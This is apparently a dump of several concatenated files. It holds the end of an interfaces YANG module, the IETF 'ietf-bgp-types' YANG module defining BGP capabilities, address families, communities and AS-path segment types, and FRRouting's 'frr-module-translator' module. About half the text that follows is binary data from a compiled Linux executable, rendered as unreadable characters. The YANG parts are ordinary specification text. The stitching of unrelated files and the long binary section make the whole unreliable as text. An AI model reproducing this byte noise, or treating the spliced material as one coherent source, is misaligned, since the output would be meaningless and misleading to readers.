             For character-oriented or fixed-length interfaces, the
             number of outbound transmission units that could not be
             transmitted because of errors.

             Discontinuities in the value of this counter can occur
             at re-initialization of the management system and at
             other times as indicated by the value of
             'discontinuity-time'.";
          reference
            "RFC 2863: The Interfaces Group MIB - ifOutErrors";
        }
      }
    }
  }
}
ietf-bgp-types2019-10-03module ietf-bgp-types {
  yang-version "1.1";
  namespace "urn:ietf:params:xml:ns:yang:ietf-bgp-types";

  prefix "bt";

  import ietf-inet-types {
    prefix inet;
  }

  // meta
  organization
    "IETF IDR Working Group";

  contact
    "WG Web:   <http://tools.ietf.org/wg/idr>
     WG List:  <idr@ietf.org>

     Authors: Mahesh Jethanandani (mjethanandani at gmail.com),
              Keyur Patel (keyur at arrcus.com),
              Susan Hares (shares at ndzh.com),
              Jeffrey Haas (jhaas at pfrc.org).";
  description
    "This module contains general data definitions for use in BGP
     policy. It can be imported by modules that make use of BGP
     attributes";

  revision 2019-10-03 {
    description
      "Initial Version";
    reference
      "RFC XXX, BGP Model for Service Provider Network.";
  }

  identity bgp-capability {
    description "Base identity for a BGP capability";
  }

  identity mp-bgp {
    base bgp-capability;
    description
      "Multi-protocol extensions to BGP";
    reference
      "RFC 4760";
  }

  identity route-refresh {
    base bgp-capability;
    description
      "The BGP route-refresh functionality";
    reference
      "RFC2918";
  }

  identity asn32 {
    base bgp-capability;
    description
      "4-byte (32-bit) AS number functionality";
    reference
      "RFC6793";
  }

  identity graceful-restart {
    base bgp-capability;
    description
      "Graceful restart functionality";
    reference
      "RFC4724";
  }

  identity add-paths {
    base bgp-capability;
    description
      "BGP add-paths";
    reference
      "RFC 7911.";
  }

  identity afi-safi-type {
    description
      "Base identity type for AFI,SAFI tuples for BGP-4";
    reference
      "RFC4760 - multi-protocol extensions for BGP-4";
  }

  identity ipv4-unicast {
    base afi-safi-type;
    description
      "IPv4 unicast (AFI,SAFI = 1,1)";
    reference
      "RFC4760";
  }

  identity ipv6-unicast {
    base afi-safi-type;
    description
      "IPv6 unicast (AFI,SAFI = 2,1)";
    reference
      "RFC4760";
  }

  identity ipv4-labeled-unicast {
    base afi-safi-type;
    description
      "Labeled IPv4 unicast (AFI,SAFI = 1,4)";
    reference
      "RFC3107";
  }

  identity ipv6-labeled-unicast {
    base afi-safi-type;
    description
      "Labeled IPv6 unicast (AFI,SAFI = 2,4)";
    reference
      "RFC3107";
  }

  identity l3vpn-ipv4-unicast {
    base afi-safi-type;
    description
      "Unicast IPv4 MPLS L3VPN (AFI,SAFI = 1,128)";
    reference
      "RFC4364";
  }

  identity l3vpn-ipv6-unicast {
    base afi-safi-type;
    description
      "Unicast IPv6 MPLS L3VPN (AFI,SAFI = 2,128)";
    reference
      "RFC4659";
  }

  identity l3vpn-ipv4-multicast {
    base afi-safi-type;
    description
      "Multicast IPv4 MPLS L3VPN (AFI,SAFI = 1,129)";
    reference
      "RFC6514";
  }

  identity l3vpn-ipv6-multicast {
    base afi-safi-type;
    description
      "Multicast IPv6 MPLS L3VPN (AFI,SAFI = 2,129)";
    reference
      "RFC6514";
  }

  identity l2vpn-vpls {
    base afi-safi-type;
    description
      "BGP-signalled VPLS (AFI,SAFI = 25,65)";
    reference
      "RFC4761";
  }

  identity l2vpn-evpn {
    base afi-safi-type;
    description
      "BGP MPLS Based Ethernet VPN (AFI,SAFI = 25,70)";
  }

  identity bgp-well-known-std-community {
    description
      "Base identity for reserved communities within the standard
       community space defined by RFC1997. These communities must
       fall within the range 0xFFFF0000 to 0xFFFFFFFF";
    reference
      "RFC 1997: BGP Communities Attribute.";
  }

  identity no-export {
    base bgp-well-known-std-community;
    description
      "Do not export NLRI received carrying this community outside
       the bounds of this autonomous system, or this confederation if
       the local autonomous system is a confederation member AS. This
       community has a value of 0xFFFFFF01.";
    reference
      "RFC 1997: BGP Communities Attribute.";
  }

  identity no-advertise {
    base bgp-well-known-std-community;
    description
      "All NLRI received carrying this community must not be
       advertised to other BGP peers. This community has a value of
       0xFFFFFF02.";
    reference
      "RFC 1997: BGP Communities Attribute.";
  }

  identity no-export-subconfed {
    base bgp-well-known-std-community;
    description
      "All NLRI received carrying this community must not be
       advertised to external BGP peers - including over confederation
       sub-AS boundaries. This community has a value of 0xFFFFFF03.";
    reference
      "RFC 1997: BGP Communities Attribute.";
  }

  identity no-peer {
    base bgp-well-known-std-community;
    description
      "An autonomous system receiving NLRI tagged with this community
       is advised not to re-advertise the NLRI to external bi-lateral
       peer autonomous systems. An AS may also filter received NLRI
       from bilateral peer sessions when they are tagged with this
       community value";
    reference
      "RFC 3765: NOPEER Community for BGP.";
  }
  identity as-path-segment-type {
    description
      "Base AS Path Segment Type. In [BGP-4], the path segment type
       is a 1-octet field with the following values defined.";
    reference
      "RFC 4271: A Border Gateway Protocol 4 (BGP-4), Section 4.3.";
  }

  identity as-set {
    base as-path-segment-type;
    description
      "Unordered set of autonomous systems that a route in the UPDATE
       message has traversed.";
    reference
      "RFC 4271: A Border Gateway Protocol 4 (BGP-4), Section 4.3.";
  }

  identity as-sequence {
    base as-path-segment-type;
    description
      "Ordered set of autonomous systems that a route in the UPDATE
       message has traversed.";
    reference
      "RFC 4271: A Border Gateway Protocol 4 (BGP-4), Section 4.3.";
  }

  identity as-confed-sequence {
    base as-path-segment-type;
    description
      "Ordered set of Member Autonomous Systems in the local
       confederation that the UPDATE message has traversed.";
    reference
      "RFC 5065, Autonomous System Configuration for BGP.";
  }

  identity as-confed-set {
    base as-path-segment-type;
    description
      "Unordered set of Member Autonomous Systems in the local
       confederation that the UPDATE message has traversed.";
    reference
      "RFC 5065, Autonomous System Configuration for BGP.";
  }

  /*
   * Features.
   */
  feature send-communities {
    description
      "Enable the propogation of communities.";
  }

  feature ttl-security {
    description
      "BGP Time To Live (TTL) security check support.";
    reference
      "RFC 5082, The Generalized TTL Security Mechanism (GTSM)";
  }

  feature bfd {
    description
      "Support for BFD detection of BGP neighbor reachability.";
    reference
      "RFC 5880, Bidirectional Forward Detection (BFD),
       RFC 5881, Bidirectional Forward Detection for IPv4 and IPv6
                 (Single Hop).
       RFC 5883, Bidirectional Forwarding Detection (BFD) for Multihop
                 Paths";
  }

  typedef bgp-session-direction {
    type enumeration {
      enum INBOUND {
        description
          "Refers to all NLRI received from the BGP peer";
      }
      enum OUTBOUND {
        description
          "Refers to all NLRI advertised to the BGP peer";
      }
    }
    description
      "Type to describe the direction of NLRI transmission";
  }

  typedef bgp-well-known-community-type {
    type identityref {
      base bgp-well-known-std-community;
    }
    description
      "Type definition for well-known IETF community attribute
       values";
    reference
      "IANA Border Gateway Protocol (BGP) Well Known Communities";
  }

  typedef bgp-std-community-type {
    // TODO: further refine restrictions and allowed patterns
    // 4-octet value:
    //  <as number> 2 octets
    //  <community value> 2 octets
    type union {
      type uint32 {
      // per RFC 1997, 0x00000000 - 0x0000FFFF and 0xFFFF0000 -
      // 0xFFFFFFFF are reserved
        range "65536..4294901759"; // 0x00010000..0xFFFEFFFF
      }
      type string {
        pattern '([0-9]+:[0-9]+)';
      }
    }
    description
      "Type definition for standard community attributes";
    reference
      "RFC 1997 - BGP Communities Attribute";
  }

  typedef bgp-ext-community-type {
    // TODO: needs more work to make this more precise given the
    // variability of extended community attribute specifications
    // 8-octet value:
    //  <type> 2 octects
    //  <value> 6 octets

    type union {
      type string {
        // Type 1: 2-octet global and 4-octet local
        //         (AS number)        (Integer)
        pattern '(6[0-5][0-5][0-3][0-5]|[1-5][0-9]{4}|'            +
                '[1-9][0-9]{1,4}|[0-9]):'                          +
                '(4[0-2][0-9][0-4][0-9][0-6][0-7][0-2][0-9][0-6]|' +
                '[1-3][0-9]{9}|[1-9]([0-9]{1,7})?[0-9]|[1-9])';
      }
      type string {
        // Type 2: 4-octet global and 2-octet local
        //         (ipv4-address)     (integer)
        pattern '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|'      +
                '25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|'     +
                '2[0-4][0-9]|25[0-5]):'                            +
                '(6[0-5][0-5][0-3][0-5]|[1-5][0-9]{4}|'            +
                '[1-9][0-9]{1,4}|[0-9])';
      }
      type string {
        // route-target with Type 1
        // route-target:(ASN):(local-part)
        pattern 'route\-target:(6[0-5][0-5][0-3][0-5]|'            +
                '[1-5][0-9]{4}|[1-9][0-9]{1,4}|[0-9]):'            +
                '(4[0-2][0-9][0-4][0-9][0-6][0-7][0-2][0-9][0-6]|' +
                '[1-3][0-9]{9}|[1-9]([0-9]{1,7})?[0-9]|[1-9])';
      }
      type string {
        // route-target with Type 2
        // route-target:(IPv4):(local-part)
        pattern 'route\-target:' +
                '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|'      +
                '25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|'     +
                '2[0-4][0-9]|25[0-5]):'                            +
                '(6[0-5][0-5][0-3][0-5]|[1-5][0-9]{4}|'            +
                '[1-9][0-9]{1,4}|[0-9])';
      }
      type string {
        // route-origin with Type 1
        pattern 'route\-origin:(6[0-5][0-5][0-3][0-5]|'            +
                '[1-5][0-9]{4}|[1-9][0-9]{1,4}|[0-9]):'            +
                '(4[0-2][0-9][0-4][0-9][0-6][0-7][0-2][0-9][0-6]|' +
                '[1-3][0-9]{9}|[1-9]([0-9]{1,7})?[0-9]|[1-9])';
      }
      type string {
        // route-origin with Type 2
        pattern 'route\-origin:' +
                '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|'      +
                '25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|'     +
                '2[0-4][0-9]|25[0-5]):'                            +
                '(6[0-5][0-5][0-3][0-5]|[1-5][0-9]{4}|'            +
                '[1-9][0-9]{1,4}|[0-9])';
      }
    }
    description
      "Type definition for extended community attributes";
    reference
      "RFC 4360 - BGP Extended Communities Attribute";
  }

  typedef bgp-community-regexp-type {
    // TODO: needs more work to decide what format these regexps can
    // take.
    type string;
    description
      "Type definition for communities specified as regular
       expression patterns";
  }

  typedef bgp-origin-attr-type {
    type enumeration {
      enum igp {
        description "Origin of the NLRI is internal";
      }
      enum egp {
        description "Origin of the NLRI is EGP";
      }
      enum incomplete {
        description "Origin of the NLRI is neither IGP or EGP";
      }
    }
    description
      "Type definition for standard BGP origin attribute";
    reference
      "RFC 4271 - A Border Gateway Protocol 4 (BGP-4), Sec 4.3";
  }

  typedef peer-type {
    type enumeration {
      enum internal {
        description
          "internal (iBGP) peer";
      }
      enum external {
        description
          "external (eBGP) peer";
      }
      enum confederation {
        description
        "Confederation as peer";
      }
    }
    description
      "Labels a peer or peer group as explicitly internal,
       external or confederation.";
  }

  identity REMOVE_PRIVATE_AS_OPTION {
    description
      "Base identity for options for removing private autonomous
       system numbers from the AS_PATH attribute";
  }

  identity PRIVATE_AS_REMOVE_ALL {
    base REMOVE_PRIVATE_AS_OPTION;
    description
      "Strip all private autonomous system numbers from the AS_PATH.
       This action is performed regardless of the other content of the
       AS_PATH attribute, and for all instances of private AS numbers
       within that attribute.";
  }

  identity PRIVATE_AS_REPLACE_ALL {
    base REMOVE_PRIVATE_AS_OPTION;
    description
      "Replace all instances of private autonomous system numbers in
       the AS_PATH with the local BGP speaker's autonomous system
       number. This action is performed regardless of the other
       content of the AS_PATH attribute, and for all instances of
       private AS number within that attribute.";
  }

  typedef remove-private-as-option {
    type identityref {
      base REMOVE_PRIVATE_AS_OPTION;
    }
    description
      "Set of options for configuring how private AS path numbers
       are removed from advertisements";
  }

  typedef percentage {
    type uint8 {
      range "0..100";
    }
    description
      "Integer indicating a percentage value";
  }

  typedef rr-cluster-id-type {
    type union {
      type uint32;
      type inet:ipv4-address;
    }
    description
      "Union type for route reflector cluster ids:
       option 1: 4-byte number
       option 2: IP address";
  }

  typedef community-type {
    type bits {
      bit standard {
        position 0;
        description
          "Send only standard communities.";
        reference
          "RFC 1997: BGP Communities Attribute.";
      }
      bit extended {
        description
          "Send only extended communities.";
        reference
          "RFC 4360: BGP Extended Communities Attribute.";
      }
      bit large {
        description
          "Send only large communities.";
        reference
          "RFC 8092: BGP Large Communities Attribute.";
      }
    }
    description
      "Type describing variations of community attributes.
       The community types can be combined and a value of 0
       implies 'none'";
  }
}
2018-07-31module frr-module-translator {
  yang-version 1.1;
  namespace "http://frrouting.org/yang/frr-module-translator";
  prefix frr-module-translator;

  organization
    "FRRouting";
  contact
    "FRR Users List:       <mailto:frog@lists.frrouting.org>
     FRR Development List: <mailto:dev@lists.frrouting.org>";
  description
    "A model for FRR YANG module translators.

     Copyright 2020 FRRouting

     Redistribution and use in source and binary forms, with or without
     modification, are permitted provided that the following conditions
     are met:

     1. Redistributions of source code must retain the above copyright notice,
     this list of conditions and the following disclaimer.

     2. Redistributions in binary form must reproduce the above copyright
     notice, this list of conditions and the following disclaimer in the
     documentation and/or other materials provided with the distribution.

     THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
     \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
     LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
     A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
     HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
     SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
     LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
     DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
     THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.";

  revision 2018-07-31 {
    description
      "Initial revision.";
  }

  container frr-module-translator {
    leaf family {
      type string {
        length "0 .. 32";
      }
      mandatory true;
      description
        "Family of YANG models.";
    }
    list module {
      key "name";
      ordered-by user;
      description
        "YANG module.";

      leaf name {
        type string;
        description
          "Module name.";
      }
      leaf deviations {
        type string;
        mandatory true;
        description
          "Module containing the YANG deviations.";
      }
      list mappings {
        key "custom";
        description
          "YANG mappings between the custom module and FRR native modules.";

        leaf custom {
          type string {
            length "0 .. 256";
          }
          description
            "YANG path of the custom module.";
        }
        leaf native {
          type string {
            length "0 .. 256";
          }
          mandatory true;
          description
            "Corresponding path of the native YANG modules";
        }
      }
    }
  }
}
/lib64/ld-linux-x86-64.so.2;h^^4^܆d0HDXlhXt(AA(8H8Xh8И|șpt(L<8L؞\Tl|Р<8 d0DtX\db4bLgtg$nTnyyyzD(ztP|4d̍DlT4|d4\$ T ܸ  Ĺ !D!t!0!!0"X4"d""п"("P$#xT####P$xD$t$$|$%4%8d%`%%T%|$&T&p&&&'D'4t'\''(4(`d((((0$)0T)1)41)P8)x8*4AD*Dt*$E*G*dM+M4+Md+M+N+,N+TN$,|NT,o,o,o,v-{D-{t-~--.T4.|d...ě.$/T/x//Ȣ/(0PD0t0,0IJ0141<d11л1H1p$2T2222D3lD3t333444d44<4$4p$5T5555a6 bD68gt6`g6n6n7ty47yd7y7y7z7$8܃T8<8h889D90t9X9@9h9$: T:H:p$;T;̱;ȸ;;<D<t<л<<=4=Dd=l===$><T>d>>>?<D?dt???h@4@d@$@L@@4A@TAhAA\ABDBTBBB BHCpDCl
TCCCLC|DDDtD0D0D0E 14E<8dEd8E?E?E?E?E?E?E A$FDTFEFFFPMFxMGMDGMtGMGNG@NHhN4HtodHoHoHvHzIzIz$I{TI{I}IdII$J04JDDJXTJldJtJ J4J@JhJ$KTKK؛KKKd$LTLLL<LMDMtMزMM(N4NdN4N\NN$OTOO0OXOPDPtPPPQ4Q(dQpRDR\dRRRR$S|T$T4TDTTTdTtT,TDT\TtTTTT,T\^t\^\^\_D] _]<_4^\_^x_^_4____``t`,``@``T`b`c`4c`Dc`de,a$fPafta$haha4iHbti\bdjblbtobp cpDc$qlcqcrcdsds8dDthdtdtdtdtd4udtudueueu0euDevXevle$ve4veTvedvexey f4LflfffffĂf$ggdggdh(h$ThDththhh$i4Pi|iitiiēij$j$8jDLjd`jjԔjjjjk$k$Dk4XktxkdkĚktk4ldlԞll4lĠm4,m`mmmmmnPnTtnn$n4oD$oT8o`oto$oooԱoD(pXppppdpqqDPqpqqqrĻ,rԼ`rdrrTrs@s4`ssssTtd(ttXttt4tt$uDu@uluuduuuvtHvlvTvtvDvTvw0wDwthwww4wd xPxT|xxxy@y4<zlztz$zzDz{0{$\{Dt{{D{{D{T|$|8|L|`|t|||4|d|t||}$}8}L}`}t}}t}d}~(~d\~$~~~$T4$dTdd$H\p	4
H$xdЁD4X4 t!!܂"D#0&`&&(d*4CdCCC4D؄DE(EdEFtG4H(J`dJPQ$RLR`4STSdSSćS؇SSST@U|WtW؈XtZHZp]^Љdad0e\ffffhi@kpklTlЋdltlll<tmhmn4nȌn$ooDodp,q\qqqTrsyD{t{4|ďD|؏T|t|}$~~|D `$TԒ4Ԅ<$lԆTč$0dTt4ԏ Tt̕T$4PDxddD(tLtTTė$TԢD<Ĩ\d$ī<Td$L|Dܛ<l̜,\DD4tО4,X$tTPdDH|4ܡ$<`D	T	Т,$LxtУ<tD$d$Hh$|D @`TȚ4<\ȧ$Dt(HhD̨d0D X x !!"",t$\%$&&'(H)|)D**d+H+|,,Ь-. /\400Эt1$2H2$3d3Ю3$5D55ԯ5t66@$7`88$9԰$:D:T:(:L:`D;t;;4=d==Բt>>p$?4@d@@ ABtCDdE44F`FGHtHHDtItDJJĶdLM4PLPpPRSUVLdWtTZZ[t\\$]عd]]$^H^\_D`t`̺`aa<aPtgh@hThhkklмmm<nxnnȽooDpt$qqTssttuLwdwtxx$y tyDyXyldzz{{||Dd}p}}$~D~d~~~$~8~L$ltT4`TԄt0$DDXdl$T(4TTtԌtd dL|$8dDt$8Ld$4DT<4hT|tԤ<hTd,TPpĮD4THl$ԲD@TTdh44Dtlĺ$Ļ$8$\DpD4@lT@Ttdt40DXl$d$T(LT|D0TDd\pTT,L|D@pDd(Td8td$4@448\d$DtT@t$T$4HT\|$D$DhT$$<dx4d$t$H$hd
$
84Xx$d(<ddxt""T$$$t%%$&'D(DD)x**4+t+,4d,X,|,T--..d/</P/d/x001422(2L3x3567D78<|d<<==?<?`D@@4AAdBC<4DhDEFFFD4GlGtHHDII<JhtJJ$KdKL\MtNPDPtP$Q,t^\iijDk$mLmnoo dpTprz{@p<`t4(\dԡ0dPԥ$dԩ$Tԫt4$84LD`dԮ$(DHth԰ıDdDl4ĶLtt4,\ľ$8Dh,XdlT$<ltT4Dh4d,\D$t DDThDt Lp$Dd$x4	0	dX			4	d	 
$@
x
4


D8d	p		$
DDp




D
$4X D@TT |D!!4"""$4#8$`t%&&D'' d(Xt(l()4)t))$*$d*8,h4--T.. /T0x3D5747(7t$8T88D9:(4:<:`:tEFFdG(GTGh4HH4IIJ$tKLtLMPQTS<UlW$WTXXXtY0YTYtDZTZZ[t[(\T]]]^<d^dt^x^$_d__D`Dct$ccctdd0e\$fflm$nDnttsduvwP${{d|t} }$ }8 }L ~` ~t    (!X!4l!!!!t("X"x"ē"t"Ĕ"D#<#d\#p###d#$$D$d0$\$$$4$%8%h%%T%$%&<&d&x&d&&'D'tt'$''4(4(dX(((()4)T))D))4*t(*<*l*T***,+\++++t,@,T,$h,4|,D,T,d,t-D-t-d--d--.$.T,.t@.T.h.|...4.d.$.4$/L/4`/|/d///0H0|0t
H1
\1
p1
11t12D2Dt2T2d22,34\33!3"3"3"4#$4#P4$x4D%4d%4%4%4t&5'T5d(|5)5)5+6d/<60h63636$7$748D7t8d7D97t;7=7?8A8A8$B84B8TB8B84C9tC9C,9$DH9tD\9Ep9E9F9G9$H9TI:tJ4:dKH:K\:L:tN:N:N:$O;DO$;DPT;Ph;Q;Q;R;tR;R;R<SD<DTt<dT<T<T<4U<dU=tU,=U@=U`=4Vt=V=W=DX=Y,>ZT>t[x>4\>]>b?d0?4eh?te|?$f@4f @Df4@gX@g|@Th@Di@i@jHA$k\ATk|A$lAlBTn<BshBuBTuBuBwCTxLCy|CyCzC{D@D4lDTDD$8EdEEETEEdET(FtLFtFF$FԌG$8GdXGlGčGGDGHLH`HԐHHHHHdHI4I4TItxIēII4ITItIJ8JLJ$`J4tJJTJtK$,Kԝ\KKK4KLT4Lt\LĤL4LdMĨNԨNNNNN$O4OD0OTDOdXOtlOOOOĩOOO$ODPd Pt4PHP\PĪpPPP$PDPdPPPīQ$Q8Q$LQD`QQQ$Q RLRxRԵRRSt$S$PSSSSSSd0T`TT4T4TUT@UTUUUVDLV|VVV$VW,WXWlWWW$WdWTX8X`XXXTXY40Y\YYYY4Zt Z$LZ|ZZZTZ[DD[t[$[[[\4\$d\d\\\],]L]x]]]^,^\^^^^_8_$d____`<`l`D```a(a	Xa
adaab8b`bbtbbtc(4cD)hc)c)c4*ct-c.,d.Xdt/d/d/d40d0d1et2@e2`e2e3eT4e5e5 fd6Hf7pf7f8f9f<gt=<gD>dg>g?g?g$@h@,h@Lh4AlhAhAhAhAhAhAhBitB,iB@iBTiBhiB|iBiBiBiBiCiCidCjC4jCTjCtj4DjDjDj4EkTEkdE0kEPkHkHkIkIlTJ,lJLlJ`lJtl$Kl4glgli mjHml|mlmDmmpmqnq(nrLnrhnsn4ununtvov<owPowowpdx,pxXpzpt}p4~pD~p<qPqdqxqdqTqqąr@rTr|rrrTrĉs$DslssDsċsԌt44t\ttttttu0uD`uTtuԒutuTuv8v$\vtvvTvwt@w4xww$wwx4xT\xTxxtx$x$(yLyTlyyyįyydyz@zTTzijhz4zTzz{({$<{`{d{{|D@|d|||ļ||$}4 }D4}TH}d\}p}}Ľ}$}~,~d~t~T~~<x$D$t8T`d8d܁$$,T|d؂,Px̃$T@thȄd<p$̅Dd$@4hT$4D0d\dt4\d0\4ԉd	0
dD؊
$
(d
H
\
TdPt4Ďt<l4ȍ4''ĎD((L$)|)d*؏*$+ +D$,dt,,.Ԑ/$/01T134,t4P4t56̒t:d<(<<$=h====ГD?@,$A@AlDBDD̔D4E8E\FGGЕHIdJ0JD$KXSSDTUWXP$YdZd\ė\ؗ\\] $]4D]H^xt_adbdHh$km,dmPmxTntoȚr4rx8y(zH}}Ԝ~dā؝ĂPdpDTd$lȟ<tlT4,@Ģp$̡d$8LDܢ4ԧ4$d4TDx$Tdd$ХT4\ԸpțDԺ40\pĻ$ԧT4,dLtDdȨܨԾ@Dd$̩$(T4|DԪ$0Tt$d̫$8h|4Ь4(D<t\tDL4|Dd̮,@dt4دt8Xtd԰$T$ıDd$HpPxT̳Txܴ$<ThT$48`T,T$xDDtDԸD		4`̹$D"T(<)`*$*4*D*ȺT*ܺ,$.4T.H/l0$1141X42|344̼5488Խd9t9949H$:hD:|d:;<<<=0=T>x>$?@0@DApABCEdE0EDEXFlDFtFFFGII@tJddKL4M4NTODO`PtPPQ$QdR(TSTSxTUtUUTV<V`TWWXTXdXXX$XHX\YT[t[[\t]]df(hX4ixiDj4kkl4lHm\mntoprs84td4u4v4wTwwx@ydytzT{T|t|}<}`~~dd(Pt(H4p$<PdttdD$ēTԓh$tt$8`Ԙԙ,@dhDDtTT4Ԡd$DDX4ld$D$@p4dIJ,XT$4HhTķԸDtT4dTdL$0T4D0t\T$d,4\$4dD4\t$LdtD(tL|t$PTxDtD8TT@pTtt	HD
p44
t
 P|$T@lt0\Td< t !"$#8T#Tt$T%d&''4d(`))*0D+\+,,/t22L3pD6$88T:d;4;\?dAtAAAAA A@DB`TBtBDEEGH<I`KNVWTtXxdbi(i<$jhjjdk$lT4lhTl|mmTndssD4tpuDvTwx$4yLytdzd|~(D\ćD,@pĘԚPԜ8T`ԣ Ԩ@`ԫĬ4$48\ԮTԯ0t(THT$,tD4d`$TT(XT$LtDzRx$%IFJw?:*3$"DoI\p>EH
Ekm~N
GiN
EjWN
$=^N
L0DJEC
E|,PtEF
DLo
A=^N
L TvI
FK@L<XEF
BGFu
A
I{
E ,bEC
Av
APD&d`Hx\EC
BEGH{
GR
FQ
GM
C 0AC

A SC
EZK(8mAG
FH
E$8|hAC
Al
Gk,`AH
BEDQ
Kg0P&0X&2HQC
BGDWHpOBIEQ(@gEJ
GM
E$l	EC
It
K pEC
BKo EC
Af
A$8
EC
G}
A0
EC
BEDs
JM
K08<EC
BEDu
HM
K,lEC
DHM
G]
K0XJH
BFGi
Fh,QJC
BDe
HDBA$1KC
BDXD(	<P1d 5xL5xt	p|$,@,TEC
P
B0\J
BDBH(UEC
PA
GEj
QPL,H@D,T@EC
HD
D$^AC
AH
CM AC

A0p&0	x&, 	TxEH
BKX
FW
A$P	EC
Cz
K$x	VEC
BJA	T*EC
A\(	dEC
My	 EH
R 
+EC
BGU,0
EG
BS
D,`
4EC
PI
G(
$EC
Lh
D(
x&EC
Md
G(
&EC
DDg
I p'EK
E
A08l([EC
DFD	
A^
Al))6))))))BEC
Et,*,8*-@T*$TP*yEC
DH`|*EO
H*3EH
Ad**ER
R**4QF
A[,
*AC
HD
G,@
,[AC
BN
H p
.AE
A
A4
p/|EC
BJ
Ie
Ki
G,
0EC
BDG
Kq
G,
x1EC
BDG
Kq
G ,827EC
Ab
EPT2QE
H,pT2EC
BEGR
A 3eEC
EW04~AL
FD
G|
LL5(YF
H,\5AC
P
AH,9#\H9cMF
HE(|9UEC
e
D<:EC
BEH
Er
Fe
Cd
D <<EC
E <AE

A00Dp&X-lx#$= ===$=EC
E==, =EC
CK
Jz
FP@LE[
[ p$AEC

E(AoEF
BF{
B^,BEC
BFi
Gd(BEC
I
EPXC	,0TCEC
MK
H]$`CEF
C
AlDxD4tDEC
DEJ
J~
AE:QJ
A] FbEJ
BDL8,XFEC
FEH
Cm
K~
A,hG`EC
I1
A(HAE
DIH
H0IEF
MB
F0lJEC
BIH
I^,,K0EH
FF
A(\LEC
BJ\NIEC
A,NOEC
DGH
AP8EC
W
I PaEJ
CN,QNAC
DEEDe
E,L8SEC
BEH
D,|TeEC
BGFD9
D8V,4VEC
BGEH
K(XtEC
BEED[hXEF
H<hXEF
H,\hXEC
HH
HYY  YREC
BH(\YSEC
BDb
HZY YOEC
BH|0<YEC
BDs
O_
AZpZ$ZEC
Um
F0ZEC
BJh
D`
Hg $[EEC
BKo$P[EC
BKm
A,[EJ
H,L[EG
HIU
F|X^ T^EEC
BKo^|^	 x^EJ
A(_=EC
BER1
F$,dEN
I(TevAC
BGK]4Df)KC
M
H
L,<i6AC
M
Ee(LjAC
DEJ,jAC
DEED
A4D`kAF
M
H
I,|mEC
PH
H(pAC
BEH0LqNC
BEDu
G@0 &40H&\0p&-#0&,pEC
BLJEHq `qNC
AvA (qEG
CLhr}0`rWC
BEDP
KP@sbs`EI
\
N(sEC
Ec
H
It(tAF
FG8lu.A^
Tuo(huAC
FEDv@v<v#Xv#tv	pv	lvhv dv4`v._J
Ptv._J
lv	v	v|vxvtvpvlvhv	, dvwEC
BEJGJ
A,PvEC
E
AV
JV(tw/EC
DK
Gxx	0txAC
C^
K@
Hq
A(yEC
DD`
H$  yEC
BG
F0H zEC
Gy
HM
A(| zEC
BGGi
A  {'EC
BDT, {NC
BG
GP, {/EC
DL
A,!	0@!yJC
Cj
BAKdBA t!RC
AzH !|EC
A
D !8,EC
BDY!D!@"L1AC
lzRx  $X"<,AC
Ir
A,"DiAG
BN
D,"AC
DHID
F,"dnAC
Mc
D,#;AC
P
J@#D0T#&,h#EC
BEEEK
K0#<EC
FF
G #AC

A(#DAH
DJHa($>AQ
BF
H(H$iQH
DKwBBA,t$AC
FM
I $KC
AUD,$AC
BEL
E($qOJ
A[
KiG$%7AK
Ae,D% ,AV
BN\
Mt%@-%#,%YEC
HD7
E,%(EC
\

G$%EG
Aq
A$&)8& L&(HAC
C@$p&TAJ
G
A$&ܿAJ
G
A&d&0&|&&H:EO
e4'hNC
BGD
HX0T'EC
HHJ
NQ
G4'|EC
BGJY
LQ
G4'NC
IR
D` 'AJC
AjA,(EC
DVU
I$zRx,,(AC
DLHr
B$(AC
BEP(@$(<EC
BDo
C )4)H)\)p)))()EC
DHD
A8)WC
DEJe
FSA0*0\EC
FEH
BW$H*\TEC
Ay
FK8p*qEC
BEEDI
Ov
J|0*|EC
DEH
JL
D$*$AMC
BDbH,+LEC
HD
F,8+EC
BDQ
Ak
M,h+EC
DL
K,+\SEC
FED
A(+EC
K
A(+ ~EH
DIG\ ,tt4,+EO
R T,8AC
BDm,x,EC
BEHH
F,,AC
BIEHH
F,,\AG
DEED(
F-&-89EC
Ek(<-XOEC
Cv
GFh-||-x-t"ER
F -"ER
F(-EC
DIDw(.WEH
BKg
GN,.8?WC
FPL.X `.dwAC
Al
A(.fEC
BGDO(.fEC
BGDO .HA_C
AWA/0/&(/0</&P/$0d/&x/,0/& /tEC
Ae
A,/0EC
DEEH{
G,/EC
DEEH{
G$0	80	,L0EC
BEEDO
I,|0hEC
BEEEHZ
E,0EC
I
A,0XgEC
MM
A 1EC
A[
D(01EH
BK
G^\1hp1d1`,1l-AC
BEEEH
H101x&12zPLRxa$,$};rEC
FKS
E(zPLRx$0q$wqEC
EX
A$zPLRx$,q0 qEC
I
D,zPLRx1$446q$3EP
BDM
H$[pEJ
Ev
Ep$<WpEJ
Er
EPp84\L4h(EI
Yl4x#EI
T 4EC

A 4EC

A,4IEC
BGK
B 5AC

A$(5<AC
ap
K,P5FAC
FFu
K5552EE
Ab 57EE
BGV52EE
Ab 6(7EE
BGV06DIEJ
Ax(P6tqjC
DHsD|6666=EF
